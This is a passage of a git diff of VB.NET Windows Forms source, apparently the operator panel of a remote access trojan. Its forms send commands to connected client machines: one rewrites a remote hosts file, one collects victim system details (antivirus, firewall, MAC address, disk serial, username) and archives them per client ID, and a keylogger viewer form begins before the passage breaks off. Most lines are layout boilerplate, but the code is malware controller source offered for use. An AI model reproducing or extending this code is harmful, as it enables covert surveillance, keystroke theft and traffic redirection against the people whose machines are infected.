Guna2GradientButton1.DisabledState.ForeColor = System.Drawing.Color.FromArgb(CType(CType(141, Byte), Integer), CType(CType(141, Byte), Integer), CType(CType(141, Byte), Integer))
|
||||
Guna2GradientButton1.FillColor2 = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(182, Byte), Integer))
|
||||
Guna2GradientButton1.Font = New System.Drawing.Font("Segoe UI", 9.0!)
|
||||
Guna2GradientButton1.ForeColor = System.Drawing.Color.White
|
||||
Guna2GradientButton1.ImageAlign = System.Windows.Forms.HorizontalAlignment.Left
|
||||
Guna2GradientButton1.ImageSize = New System.Drawing.Size(15, 15)
|
||||
Guna2GradientButton1.Location = New System.Drawing.Point(266, 40)
|
||||
Guna2GradientButton1.Name = "Guna2GradientButton1"
|
||||
Guna2GradientButton1.Size = New System.Drawing.Size(69, 21)
|
||||
Guna2GradientButton1.TabIndex = 76
|
||||
Guna2GradientButton1.Text = "Copy"
|
||||
'
|
||||
'Timer1
|
||||
'
|
||||
Timer1.Enabled = True
|
||||
Timer1.Interval = 1000
|
||||
'
|
||||
'Hash
|
||||
'
|
||||
AutoScaleDimensions = New System.Drawing.SizeF(6.0!, 13.0!)
|
||||
AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font
|
||||
BackColor = System.Drawing.Color.White
|
||||
ClientSize = New System.Drawing.Size(346, 95)
|
||||
Controls.Add(Guna2GradientButton1)
|
||||
Controls.Add(Guna2TextBox1)
|
||||
Controls.Add(label1)
|
||||
Icon = CType(resources.GetObject("$this.Icon"), System.Drawing.Icon)
|
||||
Name = "Hash"
|
||||
Text = "File Hash"
|
||||
ResumeLayout(False)
|
||||
PerformLayout()
|
||||
|
||||
End Sub
|
||||
|
||||
Friend WithEvents Guna2TextBox1 As Guna.UI2.WinForms.Guna2TextBox
|
||||
Friend WithEvents Guna2GradientButton1 As Guna.UI2.WinForms.Guna2GradientButton
|
||||
Friend WithEvents Timer1 As Timer
|
||||
Private WithEvents label1 As Label
|
||||
End Class
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,21 @@
|
||||
Public Class Hash
|
||||
|
||||
Public C As Client
|
||||
Private Sub Guna2GradientButton1_Click(sender As Object, e As EventArgs) Handles Guna2GradientButton1.Click
|
||||
Try
|
||||
Windows.Forms.Clipboard.SetText(Guna2TextBox1.Text)
|
||||
Catch ex As Exception
|
||||
Debug.WriteLine(ex.Message)
|
||||
End Try
|
||||
End Sub
|
||||
|
||||
Private Sub Timer1_Tick(sender As Object, e As EventArgs) Handles Timer1.Tick
|
||||
Try
|
||||
If Not C.IsConnected Then
|
||||
Close()
|
||||
End If
|
||||
Catch ex As Exception
|
||||
Debug.WriteLine(ex.Message)
|
||||
End Try
|
||||
End Sub
|
||||
End Class
|
||||
Generated
+160
@@ -0,0 +1,160 @@
|
||||
<Global.Microsoft.VisualBasic.CompilerServices.DesignerGenerated()> _
|
||||
Partial Class Hosts
|
||||
Inherits System.Windows.Forms.Form
|
||||
|
||||
'Form overrides dispose to clean up the component list.
|
||||
<System.Diagnostics.DebuggerNonUserCode()> _
|
||||
Protected Overrides Sub Dispose(ByVal disposing As Boolean)
|
||||
Try
|
||||
If disposing AndAlso components IsNot Nothing Then
|
||||
components.Dispose()
|
||||
End If
|
||||
Finally
|
||||
MyBase.Dispose(disposing)
|
||||
End Try
|
||||
End Sub
|
||||
|
||||
'Required by the Windows Form Designer
|
||||
Private components As System.ComponentModel.IContainer
|
||||
|
||||
'NOTE: The following procedure is required by the Windows Form Designer
|
||||
'It can be modified using the Windows Form Designer.
|
||||
'Do not modify it using the code editor.
|
||||
<System.Diagnostics.DebuggerStepThrough()> _
|
||||
Private Sub InitializeComponent()
|
||||
components = New System.ComponentModel.Container()
|
||||
Dim resources As System.ComponentModel.ComponentResourceManager = New System.ComponentModel.ComponentResourceManager(GetType(Hosts))
|
||||
StatusStrip1 = New System.Windows.Forms.StatusStrip()
|
||||
ToolStripStatusLabel1 = New System.Windows.Forms.ToolStripStatusLabel()
|
||||
Timer1 = New System.Windows.Forms.Timer(components)
|
||||
ToolStripMenuItem1 = New System.Windows.Forms.ToolStripMenuItem()
|
||||
MenuStrip1 = New System.Windows.Forms.MenuStrip()
|
||||
Guna2TextBox1 = New Guna.UI2.WinForms.Guna2TextBox()
|
||||
Guna2TextBox2 = New Guna.UI2.WinForms.Guna2TextBox()
|
||||
StatusStrip1.SuspendLayout()
|
||||
MenuStrip1.SuspendLayout()
|
||||
SuspendLayout()
|
||||
'
|
||||
'StatusStrip1
|
||||
'
|
||||
StatusStrip1.BackColor = System.Drawing.Color.White
|
||||
StatusStrip1.ImageScalingSize = New System.Drawing.Size(24, 24)
|
||||
StatusStrip1.Items.AddRange(New System.Windows.Forms.ToolStripItem() {ToolStripStatusLabel1})
|
||||
StatusStrip1.Location = New System.Drawing.Point(0, 276)
|
||||
StatusStrip1.Name = "StatusStrip1"
|
||||
StatusStrip1.Padding = New System.Windows.Forms.Padding(1, 0, 9, 0)
|
||||
StatusStrip1.Size = New System.Drawing.Size(480, 22)
|
||||
StatusStrip1.TabIndex = 9
|
||||
StatusStrip1.Text = "StatusStrip1"
|
||||
'
|
||||
'ToolStripStatusLabel1
|
||||
'
|
||||
ToolStripStatusLabel1.ForeColor = System.Drawing.Color.Black
|
||||
ToolStripStatusLabel1.Name = "ToolStripStatusLabel1"
|
||||
ToolStripStatusLabel1.Size = New System.Drawing.Size(13, 17)
|
||||
ToolStripStatusLabel1.Text = ".."
|
||||
'
|
||||
'Timer1
|
||||
'
|
||||
Timer1.Enabled = True
|
||||
Timer1.Interval = 1000
|
||||
'
|
||||
'ToolStripMenuItem1
|
||||
'
|
||||
ToolStripMenuItem1.Font = New System.Drawing.Font("Segoe UI", 9.0!)
|
||||
ToolStripMenuItem1.ForeColor = System.Drawing.Color.Black
|
||||
ToolStripMenuItem1.Image = CType(resources.GetObject("ToolStripMenuItem1.Image"), System.Drawing.Image)
|
||||
ToolStripMenuItem1.Name = "ToolStripMenuItem1"
|
||||
ToolStripMenuItem1.Size = New System.Drawing.Size(108, 20)
|
||||
ToolStripMenuItem1.Text = "Save Changes"
|
||||
'
|
||||
'MenuStrip1
|
||||
'
|
||||
MenuStrip1.BackColor = System.Drawing.Color.White
|
||||
MenuStrip1.Font = New System.Drawing.Font("Arial", 8.25!, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, CType(0, Byte))
|
||||
MenuStrip1.Items.AddRange(New System.Windows.Forms.ToolStripItem() {ToolStripMenuItem1})
|
||||
MenuStrip1.LayoutStyle = System.Windows.Forms.ToolStripLayoutStyle.Flow
|
||||
MenuStrip1.Location = New System.Drawing.Point(0, 0)
|
||||
MenuStrip1.Name = "MenuStrip1"
|
||||
MenuStrip1.Size = New System.Drawing.Size(480, 24)
|
||||
MenuStrip1.TabIndex = 5
|
||||
MenuStrip1.Text = "MenuStrip1"
|
||||
'
|
||||
'Guna2TextBox1
|
||||
'
|
||||
Guna2TextBox1.BorderColor = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(182, Byte), Integer))
|
||||
Guna2TextBox1.Cursor = System.Windows.Forms.Cursors.IBeam
|
||||
Guna2TextBox1.DefaultText = ""
|
||||
Guna2TextBox1.DisabledState.BorderColor = System.Drawing.Color.FromArgb(CType(CType(208, Byte), Integer), CType(CType(208, Byte), Integer), CType(CType(208, Byte), Integer))
|
||||
Guna2TextBox1.DisabledState.FillColor = System.Drawing.Color.FromArgb(CType(CType(226, Byte), Integer), CType(CType(226, Byte), Integer), CType(CType(226, Byte), Integer))
|
||||
Guna2TextBox1.DisabledState.ForeColor = System.Drawing.Color.FromArgb(CType(CType(138, Byte), Integer), CType(CType(138, Byte), Integer), CType(CType(138, Byte), Integer))
|
||||
Guna2TextBox1.DisabledState.PlaceholderForeColor = System.Drawing.Color.FromArgb(CType(CType(138, Byte), Integer), CType(CType(138, Byte), Integer), CType(CType(138, Byte), Integer))
|
||||
Guna2TextBox1.Dock = System.Windows.Forms.DockStyle.Fill
|
||||
Guna2TextBox1.FocusedState.BorderColor = System.Drawing.Color.FromArgb(CType(CType(94, Byte), Integer), CType(CType(148, Byte), Integer), CType(CType(255, Byte), Integer))
|
||||
Guna2TextBox1.Font = New System.Drawing.Font("Segoe UI", 9.0!)
|
||||
Guna2TextBox1.ForeColor = System.Drawing.Color.Black
|
||||
Guna2TextBox1.HoverState.BorderColor = System.Drawing.Color.FromArgb(CType(CType(94, Byte), Integer), CType(CType(148, Byte), Integer), CType(CType(255, Byte), Integer))
|
||||
Guna2TextBox1.Location = New System.Drawing.Point(0, 24)
|
||||
Guna2TextBox1.Multiline = True
|
||||
Guna2TextBox1.Name = "Guna2TextBox1"
|
||||
Guna2TextBox1.PasswordChar = Global.Microsoft.VisualBasic.ChrW(0)
|
||||
Guna2TextBox1.PlaceholderForeColor = System.Drawing.Color.Black
|
||||
Guna2TextBox1.PlaceholderText = ""
|
||||
Guna2TextBox1.ScrollBars = System.Windows.Forms.ScrollBars.Both
|
||||
Guna2TextBox1.SelectedText = ""
|
||||
Guna2TextBox1.Size = New System.Drawing.Size(480, 231)
|
||||
Guna2TextBox1.TabIndex = 51
|
||||
'
|
||||
'Guna2TextBox2
|
||||
'
|
||||
Guna2TextBox2.BorderColor = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(182, Byte), Integer))
|
||||
Guna2TextBox2.Cursor = System.Windows.Forms.Cursors.IBeam
|
||||
Guna2TextBox2.DefaultText = ""
|
||||
Guna2TextBox2.DisabledState.BorderColor = System.Drawing.Color.FromArgb(CType(CType(208, Byte), Integer), CType(CType(208, Byte), Integer), CType(CType(208, Byte), Integer))
|
||||
Guna2TextBox2.DisabledState.FillColor = System.Drawing.Color.FromArgb(CType(CType(226, Byte), Integer), CType(CType(226, Byte), Integer), CType(CType(226, Byte), Integer))
|
||||
Guna2TextBox2.DisabledState.ForeColor = System.Drawing.Color.FromArgb(CType(CType(138, Byte), Integer), CType(CType(138, Byte), Integer), CType(CType(138, Byte), Integer))
|
||||
Guna2TextBox2.DisabledState.PlaceholderForeColor = System.Drawing.Color.FromArgb(CType(CType(138, Byte), Integer), CType(CType(138, Byte), Integer), CType(CType(138, Byte), Integer))
|
||||
Guna2TextBox2.Dock = System.Windows.Forms.DockStyle.Bottom
|
||||
Guna2TextBox2.FocusedState.BorderColor = System.Drawing.Color.FromArgb(CType(CType(94, Byte), Integer), CType(CType(148, Byte), Integer), CType(CType(255, Byte), Integer))
|
||||
Guna2TextBox2.Font = New System.Drawing.Font("Segoe UI", 9.0!)
|
||||
Guna2TextBox2.ForeColor = System.Drawing.Color.Black
|
||||
Guna2TextBox2.HoverState.BorderColor = System.Drawing.Color.FromArgb(CType(CType(94, Byte), Integer), CType(CType(148, Byte), Integer), CType(CType(255, Byte), Integer))
|
||||
Guna2TextBox2.Location = New System.Drawing.Point(0, 255)
|
||||
Guna2TextBox2.Name = "Guna2TextBox2"
|
||||
Guna2TextBox2.PasswordChar = Global.Microsoft.VisualBasic.ChrW(0)
|
||||
Guna2TextBox2.PlaceholderForeColor = System.Drawing.Color.Black
|
||||
Guna2TextBox2.PlaceholderText = ""
|
||||
Guna2TextBox2.ReadOnly = True
|
||||
Guna2TextBox2.SelectedText = ""
|
||||
Guna2TextBox2.Size = New System.Drawing.Size(480, 21)
|
||||
Guna2TextBox2.TabIndex = 52
|
||||
'
|
||||
'Hosts
|
||||
'
|
||||
AutoScaleDimensions = New System.Drawing.SizeF(6.0!, 13.0!)
|
||||
AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font
|
||||
BackColor = System.Drawing.Color.White
|
||||
ClientSize = New System.Drawing.Size(480, 298)
|
||||
Controls.Add(Guna2TextBox1)
|
||||
Controls.Add(Guna2TextBox2)
|
||||
Controls.Add(StatusStrip1)
|
||||
Controls.Add(MenuStrip1)
|
||||
Icon = CType(resources.GetObject("$this.Icon"), System.Drawing.Icon)
|
||||
Name = "Hosts"
|
||||
Text = "Edit Hosts"
|
||||
StatusStrip1.ResumeLayout(False)
|
||||
StatusStrip1.PerformLayout()
|
||||
MenuStrip1.ResumeLayout(False)
|
||||
MenuStrip1.PerformLayout()
|
||||
ResumeLayout(False)
|
||||
PerformLayout()
|
||||
|
||||
End Sub
|
||||
Friend WithEvents StatusStrip1 As StatusStrip
|
||||
Friend WithEvents ToolStripStatusLabel1 As ToolStripStatusLabel
|
||||
Friend WithEvents Timer1 As Timer
|
||||
Friend WithEvents ToolStripMenuItem1 As ToolStripMenuItem
|
||||
Friend WithEvents MenuStrip1 As MenuStrip
|
||||
Friend WithEvents Guna2TextBox1 As Guna.UI2.WinForms.Guna2TextBox
|
||||
Friend WithEvents Guna2TextBox2 As Guna.UI2.WinForms.Guna2TextBox
|
||||
End Class
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,24 @@
|
||||
Imports System.Threading
|
||||
Public Class Hosts
|
||||
|
||||
Public C As Client
|
||||
Private Sub Timer1_Tick(sender As Object, e As EventArgs) Handles Timer1.Tick
|
||||
Try
|
||||
If Not C.IsConnected Then
|
||||
Close()
|
||||
End If
|
||||
Catch ex As Exception
|
||||
Debug.WriteLine(ex.Message)
|
||||
End Try
|
||||
End Sub
|
||||
|
||||
Private Sub ToolStripMenuItem1_Click(sender As Object, e As EventArgs) Handles ToolStripMenuItem1.Click
|
||||
Dim B As Byte() = SB("Shosts" & SettingsHelper.SPL & Guna2TextBox2.Text & SettingsHelper.SPL & Guna2TextBox1.Text)
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||||
ToolStripMenuItem1.Enabled = False
|
||||
End Sub
|
||||
|
||||
Private Sub Guna2TextBox1_TextChanged(sender As Object, e As EventArgs) Handles Guna2TextBox1.TextChanged
|
||||
ToolStripMenuItem1.Enabled = True
|
||||
End Sub
|
||||
End Class
|
||||
Generated
+180
@@ -0,0 +1,180 @@
|
||||
<Global.Microsoft.VisualBasic.CompilerServices.DesignerGenerated()>
|
||||
Partial Class INFO
|
||||
Inherits System.Windows.Forms.Form
|
||||
|
||||
'Form overrides dispose to clean up the component list.
|
||||
<System.Diagnostics.DebuggerNonUserCode()>
|
||||
Protected Overrides Sub Dispose(ByVal disposing As Boolean)
|
||||
Try
|
||||
If disposing AndAlso components IsNot Nothing Then
|
||||
components.Dispose()
|
||||
End If
|
||||
Finally
|
||||
MyBase.Dispose(disposing)
|
||||
End Try
|
||||
End Sub
|
||||
|
||||
'Required by the Windows Form Designer
|
||||
Private components As System.ComponentModel.IContainer
|
||||
|
||||
'NOTE: The following procedure is required by the Windows Form Designer
|
||||
'It can be modified using the Windows Form Designer.
|
||||
'Do not modify it using the code editor.
|
||||
<System.Diagnostics.DebuggerStepThrough()>
|
||||
Private Sub InitializeComponent()
|
||||
components = New System.ComponentModel.Container()
|
||||
Dim resources As System.ComponentModel.ComponentResourceManager = New System.ComponentModel.ComponentResourceManager(GetType(INFO))
|
||||
StatusStrip1 = New System.Windows.Forms.StatusStrip()
|
||||
ToolStripStatusLabel1 = New System.Windows.Forms.ToolStripStatusLabel()
|
||||
Timer1 = New System.Windows.Forms.Timer(components)
|
||||
ImageList1 = New System.Windows.Forms.ImageList(components)
|
||||
ListView1 = New System.Windows.Forms.ListView()
|
||||
ColumnHeader1 = CType(New System.Windows.Forms.ColumnHeader(), System.Windows.Forms.ColumnHeader)
|
||||
Guna2ContextMenuStrip1 = New Guna.UI2.WinForms.Guna2ContextMenuStrip()
|
||||
ToolStripMenuItem4 = New System.Windows.Forms.ToolStripMenuItem()
|
||||
SaveToolStripMenuItem1 = New System.Windows.Forms.ToolStripMenuItem()
|
||||
StatusStrip1.SuspendLayout()
|
||||
Guna2ContextMenuStrip1.SuspendLayout()
|
||||
SuspendLayout()
|
||||
'
|
||||
'StatusStrip1
|
||||
'
|
||||
StatusStrip1.BackColor = System.Drawing.Color.White
|
||||
StatusStrip1.ImageScalingSize = New System.Drawing.Size(24, 24)
|
||||
StatusStrip1.Items.AddRange(New System.Windows.Forms.ToolStripItem() {ToolStripStatusLabel1})
|
||||
StatusStrip1.Location = New System.Drawing.Point(0, 324)
|
||||
StatusStrip1.Name = "StatusStrip1"
|
||||
StatusStrip1.Padding = New System.Windows.Forms.Padding(1, 0, 9, 0)
|
||||
StatusStrip1.Size = New System.Drawing.Size(407, 22)
|
||||
StatusStrip1.TabIndex = 8
|
||||
StatusStrip1.Text = "StatusStrip1"
|
||||
'
|
||||
'ToolStripStatusLabel1
|
||||
'
|
||||
ToolStripStatusLabel1.ForeColor = System.Drawing.Color.Black
|
||||
ToolStripStatusLabel1.Name = "ToolStripStatusLabel1"
|
||||
ToolStripStatusLabel1.Size = New System.Drawing.Size(13, 17)
|
||||
ToolStripStatusLabel1.Text = ".."
|
||||
'
|
||||
'Timer1
|
||||
'
|
||||
Timer1.Enabled = True
|
||||
Timer1.Interval = 1000
|
||||
'
|
||||
'ImageList1
|
||||
'
|
||||
ImageList1.ImageStream = CType(resources.GetObject("ImageList1.ImageStream"), System.Windows.Forms.ImageListStreamer)
|
||||
ImageList1.TransparentColor = System.Drawing.Color.Transparent
|
||||
ImageList1.Images.SetKeyName(0, "battery.png")
|
||||
ImageList1.Images.SetKeyName(1, "cpu.png")
|
||||
ImageList1.Images.SetKeyName(2, "gpu.png")
|
||||
ImageList1.Images.SetKeyName(3, "listdrivers.png")
|
||||
ImageList1.Images.SetKeyName(4, "listusb.png")
|
||||
ImageList1.Images.SetKeyName(5, "ram.png")
|
||||
ImageList1.Images.SetKeyName(6, "client.png")
|
||||
ImageList1.Images.SetKeyName(7, "process.png")
|
||||
ImageList1.Images.SetKeyName(8, "firewall.png")
|
||||
ImageList1.Images.SetKeyName(9, "biosreleasedate.png")
|
||||
ImageList1.Images.SetKeyName(10, "biosversion.png")
|
||||
ImageList1.Images.SetKeyName(11, "antivirus.png")
|
||||
ImageList1.Images.SetKeyName(12, "platform.png")
|
||||
ImageList1.Images.SetKeyName(13, "ver.png")
|
||||
ImageList1.Images.SetKeyName(14, "os.png")
|
||||
ImageList1.Images.SetKeyName(15, "datetime.png")
|
||||
ImageList1.Images.SetKeyName(16, "identifier.png")
|
||||
ImageList1.Images.SetKeyName(17, ".net.png")
|
||||
ImageList1.Images.SetKeyName(18, "systemproductname.png")
|
||||
ImageList1.Images.SetKeyName(19, "defaultbrowser.png")
|
||||
ImageList1.Images.SetKeyName(20, "currentlang.png")
|
||||
ImageList1.Images.SetKeyName(21, "macaddress.png")
|
||||
ImageList1.Images.SetKeyName(22, "hddserial.png")
|
||||
ImageList1.Images.SetKeyName(23, "lastreboot.png")
|
||||
ImageList1.Images.SetKeyName(24, "pcname.png")
|
||||
ImageList1.Images.SetKeyName(25, "username.png")
|
||||
ImageList1.Images.SetKeyName(26, "machinetype.png")
|
||||
'
|
||||
'ListView1
|
||||
'
|
||||
ListView1.BorderStyle = System.Windows.Forms.BorderStyle.None
|
||||
ListView1.Columns.AddRange(New System.Windows.Forms.ColumnHeader() {ColumnHeader1})
|
||||
ListView1.ContextMenuStrip = Guna2ContextMenuStrip1
|
||||
ListView1.Dock = System.Windows.Forms.DockStyle.Fill
|
||||
ListView1.Font = New System.Drawing.Font("Tahoma", 8.0!)
|
||||
ListView1.ForeColor = System.Drawing.Color.Black
|
||||
ListView1.FullRowSelect = True
|
||||
ListView1.HeaderStyle = System.Windows.Forms.ColumnHeaderStyle.Nonclickable
|
||||
ListView1.HideSelection = False
|
||||
ListView1.Location = New System.Drawing.Point(0, 0)
|
||||
ListView1.Name = "ListView1"
|
||||
ListView1.ShowGroups = False
|
||||
ListView1.ShowItemToolTips = True
|
||||
ListView1.Size = New System.Drawing.Size(407, 324)
|
||||
ListView1.SmallImageList = ImageList1
|
||||
ListView1.TabIndex = 9
|
||||
ListView1.UseCompatibleStateImageBehavior = False
|
||||
ListView1.View = System.Windows.Forms.View.Details
|
||||
'
|
||||
'ColumnHeader1
|
||||
'
|
||||
ColumnHeader1.Text = "[ Information ]"
|
||||
ColumnHeader1.Width = 380
|
||||
'
|
||||
'Guna2ContextMenuStrip1
|
||||
'
|
||||
Guna2ContextMenuStrip1.Items.AddRange(New System.Windows.Forms.ToolStripItem() {ToolStripMenuItem4, SaveToolStripMenuItem1})
|
||||
Guna2ContextMenuStrip1.Name = "Guna2ContextMenuStrip2"
|
||||
Guna2ContextMenuStrip1.RenderStyle.ArrowColor = System.Drawing.Color.FromArgb(CType(CType(151, Byte), Integer), CType(CType(143, Byte), Integer), CType(CType(255, Byte), Integer))
|
||||
Guna2ContextMenuStrip1.RenderStyle.BorderColor = System.Drawing.Color.Gainsboro
|
||||
Guna2ContextMenuStrip1.RenderStyle.ColorTable = Nothing
|
||||
Guna2ContextMenuStrip1.RenderStyle.RoundedEdges = True
|
||||
Guna2ContextMenuStrip1.RenderStyle.SelectionArrowColor = System.Drawing.Color.White
|
||||
Guna2ContextMenuStrip1.RenderStyle.SelectionBackColor = System.Drawing.Color.FromArgb(CType(CType(113, Byte), Integer), CType(CType(74, Byte), Integer), CType(CType(250, Byte), Integer))
|
||||
Guna2ContextMenuStrip1.RenderStyle.SelectionForeColor = System.Drawing.Color.White
|
||||
Guna2ContextMenuStrip1.RenderStyle.SeparatorColor = System.Drawing.Color.Gainsboro
|
||||
Guna2ContextMenuStrip1.RenderStyle.TextRenderingHint = System.Drawing.Text.TextRenderingHint.ClearTypeGridFit
|
||||
Guna2ContextMenuStrip1.Size = New System.Drawing.Size(181, 70)
|
||||
'
|
||||
'ToolStripMenuItem4
|
||||
'
|
||||
ToolStripMenuItem4.BackColor = System.Drawing.Color.White
|
||||
ToolStripMenuItem4.Image = CType(resources.GetObject("ToolStripMenuItem4.Image"), System.Drawing.Image)
|
||||
ToolStripMenuItem4.Name = "ToolStripMenuItem4"
|
||||
ToolStripMenuItem4.Size = New System.Drawing.Size(180, 22)
|
||||
ToolStripMenuItem4.Text = "[ Refresh ]"
|
||||
'
|
||||
'SaveToolStripMenuItem1
|
||||
'
|
||||
SaveToolStripMenuItem1.BackColor = System.Drawing.Color.White
|
||||
SaveToolStripMenuItem1.Image = CType(resources.GetObject("SaveToolStripMenuItem1.Image"), System.Drawing.Image)
|
||||
SaveToolStripMenuItem1.Name = "SaveToolStripMenuItem1"
|
||||
SaveToolStripMenuItem1.Size = New System.Drawing.Size(180, 22)
|
||||
SaveToolStripMenuItem1.Text = "[ Save ]"
|
||||
'
|
||||
'INFO
|
||||
'
|
||||
AutoScaleDimensions = New System.Drawing.SizeF(6.0!, 13.0!)
|
||||
AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font
|
||||
BackColor = System.Drawing.Color.White
|
||||
ClientSize = New System.Drawing.Size(407, 346)
|
||||
Controls.Add(ListView1)
|
||||
Controls.Add(StatusStrip1)
|
||||
Icon = CType(resources.GetObject("$this.Icon"), System.Drawing.Icon)
|
||||
Name = "INFO"
|
||||
Text = "Information"
|
||||
StatusStrip1.ResumeLayout(False)
|
||||
StatusStrip1.PerformLayout()
|
||||
Guna2ContextMenuStrip1.ResumeLayout(False)
|
||||
ResumeLayout(False)
|
||||
PerformLayout()
|
||||
|
||||
End Sub
|
||||
Friend WithEvents StatusStrip1 As StatusStrip
|
||||
Friend WithEvents ToolStripStatusLabel1 As ToolStripStatusLabel
|
||||
Friend WithEvents Timer1 As Timer
|
||||
Friend WithEvents ImageList1 As ImageList
|
||||
Friend WithEvents ListView1 As ListView
|
||||
Friend WithEvents ColumnHeader1 As ColumnHeader
|
||||
Friend WithEvents Guna2ContextMenuStrip1 As Guna.UI2.WinForms.Guna2ContextMenuStrip
|
||||
Friend WithEvents ToolStripMenuItem4 As ToolStripMenuItem
|
||||
Friend WithEvents SaveToolStripMenuItem1 As ToolStripMenuItem
|
||||
End Class
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,68 @@
|
||||
Imports System.IO
|
||||
Imports System.Text
|
||||
Imports System.Threading
|
||||
Public Class INFO
|
||||
|
||||
Public C As Client
|
||||
Public CID As String
|
||||
Private Sub INFO_Load(sender As Object, e As EventArgs) Handles MyBase.Load
|
||||
Refresh()
|
||||
End Sub
|
||||
Public Sub Refresh()
|
||||
|
||||
ListView1.Items.Clear()
|
||||
|
||||
ToolStripStatusLabel1.ForeColor = Color.Black
|
||||
ToolStripStatusLabel1.Text = "Wait.."
|
||||
|
||||
Dim B As Byte() = SB("GetInformations")
|
||||
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend),B)
|
||||
|
||||
End Sub
|
||||
|
||||
Private Sub Timer1_Tick(sender As Object, e As EventArgs) Handles Timer1.Tick
|
||||
Try
|
||||
If Not C.IsConnected Then
|
||||
Close()
|
||||
End If
|
||||
Catch ex As Exception
|
||||
Debug.WriteLine(ex.Message)
|
||||
End Try
|
||||
End Sub
|
||||
|
||||
Private Sub INFO_FormClosing(sender As Object, e As FormClosingEventArgs) Handles Me.FormClosing
|
||||
Dim B As Byte() = SB("CloseInformations")
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||||
End Sub
|
||||
|
||||
Private Sub ToolStripMenuItem4_Click(sender As Object, e As EventArgs) Handles ToolStripMenuItem4.Click
|
||||
Refresh()
|
||||
End Sub
|
||||
|
||||
Private Sub SaveToolStripMenuItem1_Click(sender As Object, e As EventArgs) Handles SaveToolStripMenuItem1.Click
|
||||
Try
|
||||
If ListView1.Items.Count > 0 Then
|
||||
Dim fullPath = Path.Combine(Application.StartupPath, "ClientsFolder", CID, "Information")
|
||||
|
||||
If Not Directory.Exists(fullPath) Then
|
||||
Directory.CreateDirectory(fullPath)
|
||||
End If
|
||||
|
||||
Dim SB As New StringBuilder
|
||||
|
||||
For Each LV As ListViewItem In ListView1.Items
|
||||
SB.Append(LV.SubItems(0).Text)
|
||||
SB.Append(Environment.NewLine)
|
||||
Next
|
||||
|
||||
Dim objWriter As New System.IO.StreamWriter(fullPath & "\" & "Information_" & DateAndTime.Now.ToString("MM-dd-yyyy HH;mm;ss;fff") & ".txt", False)
|
||||
objWriter.WriteLine(SB.ToString)
|
||||
objWriter.Close()
|
||||
|
||||
End If
|
||||
Catch ex As Exception
|
||||
MessageBox.Show(ex.Message)
|
||||
End Try
|
||||
End Sub
|
||||
End Class
|
||||
Generated
+157
@@ -0,0 +1,157 @@
|
||||
<Global.Microsoft.VisualBasic.CompilerServices.DesignerGenerated()>
|
||||
Partial Class Keylogger
|
||||
Inherits System.Windows.Forms.Form
|
||||
|
||||
'Form overrides dispose to clean up the component list.
|
||||
<System.Diagnostics.DebuggerNonUserCode()>
|
||||
Protected Overrides Sub Dispose(ByVal disposing As Boolean)
|
||||
Try
|
||||
If disposing AndAlso components IsNot Nothing Then
|
||||
components.Dispose()
|
||||
End If
|
||||
Finally
|
||||
MyBase.Dispose(disposing)
|
||||
End Try
|
||||
End Sub
|
||||
|
||||
'Required by the Windows Form Designer
|
||||
Private components As System.ComponentModel.IContainer
|
||||
|
||||
'NOTE: The following procedure is required by the Windows Form Designer
|
||||
'It can be modified using the Windows Form Designer.
|
||||
'Do not modify it using the code editor.
|
||||
<System.Diagnostics.DebuggerStepThrough()>
|
||||
Private Sub InitializeComponent()
|
||||
components = New System.ComponentModel.Container()
|
||||
Dim resources As System.ComponentModel.ComponentResourceManager = New System.ComponentModel.ComponentResourceManager(GetType(Keylogger))
|
||||
T1 = New System.Windows.Forms.RichTextBox()
|
||||
Guna2ContextMenuStrip1 = New Guna.UI2.WinForms.Guna2ContextMenuStrip()
|
||||
CopyToolStripMenuItem1 = New System.Windows.Forms.ToolStripMenuItem()
|
||||
SelectAllToolStripMenuItem1 = New System.Windows.Forms.ToolStripMenuItem()
|
||||
MenuStrip1 = New System.Windows.Forms.MenuStrip()
|
||||
ToolStripMenuItem2 = New System.Windows.Forms.ToolStripMenuItem()
|
||||
TFind = New System.Windows.Forms.ToolStripTextBox()
|
||||
ToolStripMenuItem3 = New System.Windows.Forms.ToolStripMenuItem()
|
||||
Timer1 = New System.Windows.Forms.Timer(components)
|
||||
Guna2ContextMenuStrip1.SuspendLayout()
|
||||
MenuStrip1.SuspendLayout()
|
||||
SuspendLayout()
|
||||
'
|
||||
'T1
|
||||
'
|
||||
T1.BackColor = System.Drawing.Color.White
|
||||
T1.BorderStyle = System.Windows.Forms.BorderStyle.None
|
||||
T1.ContextMenuStrip = Guna2ContextMenuStrip1
|
||||
T1.Dock = System.Windows.Forms.DockStyle.Fill
|
||||
T1.Font = New System.Drawing.Font("Segoe UI", 9.0!)
|
||||
T1.ForeColor = System.Drawing.Color.Black
|
||||
T1.Location = New System.Drawing.Point(0, 27)
|
||||
T1.Name = "T1"
|
||||
T1.ReadOnly = True
|
||||
T1.Size = New System.Drawing.Size(469, 257)
|
||||
T1.TabIndex = 3
|
||||
T1.Text = ""
|
||||
'
|
||||
'Guna2ContextMenuStrip1
|
||||
'
|
||||
Guna2ContextMenuStrip1.Items.AddRange(New System.Windows.Forms.ToolStripItem() {CopyToolStripMenuItem1, SelectAllToolStripMenuItem1})
|
||||
Guna2ContextMenuStrip1.Name = "Guna2ContextMenuStrip2"
|
||||
Guna2ContextMenuStrip1.RenderStyle.ArrowColor = System.Drawing.Color.FromArgb(CType(CType(151, Byte), Integer), CType(CType(143, Byte), Integer), CType(CType(255, Byte), Integer))
|
||||
Guna2ContextMenuStrip1.RenderStyle.BorderColor = System.Drawing.Color.Gainsboro
|
||||
Guna2ContextMenuStrip1.RenderStyle.ColorTable = Nothing
|
||||
